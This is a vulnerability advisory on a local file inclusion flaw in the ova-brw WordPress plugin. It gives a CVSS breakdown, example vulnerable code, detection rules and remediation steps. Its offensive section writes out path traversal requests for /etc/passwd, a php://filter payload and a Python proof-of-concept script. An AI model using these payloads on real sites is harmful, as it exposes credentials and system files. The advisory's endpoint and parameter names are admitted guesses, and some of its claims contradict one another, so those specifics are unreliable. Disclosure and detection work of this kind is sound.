CVE-2025-49313

Executive Summary

CVE-2025-49313 is a critical PHP Local File Inclusion (LFI) vulnerability affecting the BRW (ova-brw) WordPress plugin by Ovatheme, up to and including version 1.8.6. The vulnerability stems from improper control of a filename used in an include/require statement, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, such as reading /etc/passwd, configuration files, or WordPress wp-config.php. The CVSS score of 7.5 (High) reflects the ease of exploitation (no authentication required) and the high confidentiality impact. No public exploit code or patch details are currently available, but the vulnerability is considered exploitable.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The plugin is distributed via the WordPress plugin repository and potentially via third-party marketplaces. Users should verify the integrity of their plugin files and ensure they are obtained from trusted sources. The lack of a patch from the vendor increases the risk of supply chain attacks if malicious actors distribute modified versions.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component remains the same.
• Confidentiality (C): High (H) – Full file read access.
• Integrity (I): None (N) – No file modification.
• Availability (A): None (N) – No impact on availability.

Threat Level: High. The vulnerability is trivial to exploit and can expose sensitive server data.

Deep Dive & Mechanics

The vulnerability exists in the ova-brw plugin's PHP code, likely in a function that handles file inclusion based on user-supplied input. The plugin uses a parameter (e.g., page, file, or template) to dynamically include a PHP file. Due to insufficient sanitization, an attacker can inject path traversal sequences (e.g., ../../) to include arbitrary files outside the intended directory.

Root Cause: The plugin uses include() or require() with a filename derived from user input without proper validation or sanitization. For example:

include($_GET['file'] . '.php');

This allows an attacker to supply a path like ../../../../etc/passwd%00 (null byte injection) or simply ../../../../etc/passwd if the extension is appended.

Attack Vector: An unauthenticated attacker sends a crafted HTTP request to the WordPress site, targeting the vulnerable plugin endpoint. The request includes a path traversal payload in the parameter controlling the file inclusion.

Impact: Successful exploitation allows reading arbitrary files on the server, including:

• WordPress configuration (wp-config.php) – exposing database credentials.
• System files (/etc/passwd, /etc/shadow).
• Other plugin/theme source code.
• Log files containing sensitive data.

Vulnerable vs. Patched Code

Vulnerable Code (Example):

$file = $_GET['template'];
include( plugin_dir_path( __FILE__ ) . 'templates/' . $file . '.php' );

This directly concatenates user input without sanitization.

Patched Code (Hypothetical):

$allowed_files = array('default', 'custom', 'fullwidth');
$file = $_GET['template'];
if ( in_array( $file, $allowed_files ) ) {
    include( plugin_dir_path( __FILE__ ) . 'templates/' . $file . '.php' );
} else {
    // Handle error
}

A proper patch would use a whitelist of allowed filenames or validate the input against a strict pattern (e.g., only alphanumeric characters).

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install WordPress with the BRW plugin (version <= 1.8.6) on a local server (e.g., XAMPP, Docker).
2. Identify the vulnerable parameter by analyzing the plugin source code or using fuzzing.

Exploitation Steps:

1. Send a GET request to the vulnerable endpoint:

   GET /wp-content/plugins/ova-brw/vulnerable-page.php?file=../../../../etc/passwd HTTP/1.1
   Host: target.com
   

2. If the plugin appends .php, use a null byte or path truncation:

   GET /wp-content/plugins/ova-brw/vulnerable-page.php?file=../../../../etc/passwd%00 HTTP/1.1
   

3. Alternatively, use PHP wrappers for more advanced attacks:

   GET /wp-content/plugins/ova-brw/vulnerable-page.php?file=php://filter/convert.base64-encode/resource=../../../../etc/passwd HTTP/1.1
   

Proof-of-Concept (PoC) Script:

import requests

target = "http://target.com/wp-content/plugins/ova-brw/vulnerable-page.php"
params = {"file": "../../../../etc/passwd"}
response = requests.get(target, params=params)
print(response.text)

Blue Team (Defensive)

Detection:

• Monitor web server logs for path traversal patterns (e.g., ../, %00, php://).
• Use WAF rules to block requests containing ../ in query parameters.
• Implement file integrity monitoring for critical system files.

Hunting:

• Search for requests to the vulnerable plugin endpoint with suspicious parameters.
• Analyze PHP error logs for include failures.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests containing ../ or %00 in the query string.
  • Requests to /wp-content/plugins/ova-brw/ with unusual file or template parameters.
  • Outbound connections from the web server to unknown IPs (if data exfiltration occurs).

• File IOCs:

  • Unexpected access to /etc/passwd, /etc/shadow, or wp-config.php in logs.
  • Modified plugin files (if attacker uploads a webshell).

• Log IOCs:

  • PHP warnings like include(../../../../etc/passwd): failed to open stream.
  • Apache/Nginx access logs with %00 or php:// in the URI.

Detection Engineering

YARA Rule

rule CVE_2025_49313_LFI_Detection {
    meta:
        description = "Detects path traversal attempts targeting CVE-2025-49313"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-49313"
    strings:
        $path_traversal = /\.\.\/|\.\.\\|%2e%2e%2f|%2e%2e%5c/
        $php_wrapper = /php:\/\//
        $null_byte = /%00/
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-49313 LFI Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects path traversal attempts in HTTP requests to BRW plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - '../'
            - '..\\'
            - '%2e%2e%2f'
            - '%2e%2e%5c'
            - 'php://'
            - '%00'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in some applications
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-49313 LFI Attempt"; flow:to_server,established; content:"../"; http_uri; nocase; content:"ova-brw"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Disable or remove the BRW plugin until a patch is available.
   • Implement a Web Application Firewall (WAF) rule to block path traversal patterns.
   • Restrict file inclusion to a whitelist of allowed files.

2. Long-term Fix:

   • Apply the vendor's patch when released.
   • If no patch is forthcoming, consider replacing the plugin with an alternative.

3. Detection:

   • Enable detailed logging for web server and PHP errors.
   • Deploy the provided YARA, Sigma, and Suricata rules.

4. Hardening:

   • Set open_basedir in PHP to restrict file access.
   • Disable allow_url_include and allow_url_fopen if not needed.
   • Use a security plugin like Wordfence to monitor for LFI attempts.

Valters IT
Securing Digital Frontiers